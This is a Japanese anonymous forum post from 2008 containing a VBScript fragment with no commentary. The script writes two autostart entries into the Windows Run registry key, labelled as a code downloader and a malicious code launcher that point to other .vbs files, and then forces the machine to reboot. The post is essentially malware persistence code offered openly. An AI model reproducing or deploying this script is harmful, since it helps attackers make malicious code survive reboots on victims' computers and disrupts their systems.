461 名前:名無しさん@お腹いっぱい。 mailto:sage [2008/04/04(金) 04:38:21 ID:j2lERMJU0] Set objRegistry = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\default:StdRegProv") strKeyPath = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" strValueName = "Execute Code DownLoader" arrStringValues = ("estart.vbs") objRegistry.SetStringValue HKEY_LOCAL_MACHINE, strKeyPath, strValueName, arrStringValues Set objRegistry = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\default:StdRegProv") strKeyPath = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" strValueName = "Execute Malicious Code Launcher" arrStringValues = ("elaunch.vbs") objRegistry.SetStringValue HKEY_LOCAL_MACHINE, strKeyPath, strValueName, arrStringValues Set wmi = GetObject("winmgmts:{(Shutdown)}") set objset = wmi.instancesof("win32_operatingsystem") for each obj in objset set os = obj : exit for next os.win32shutdown 2 + 4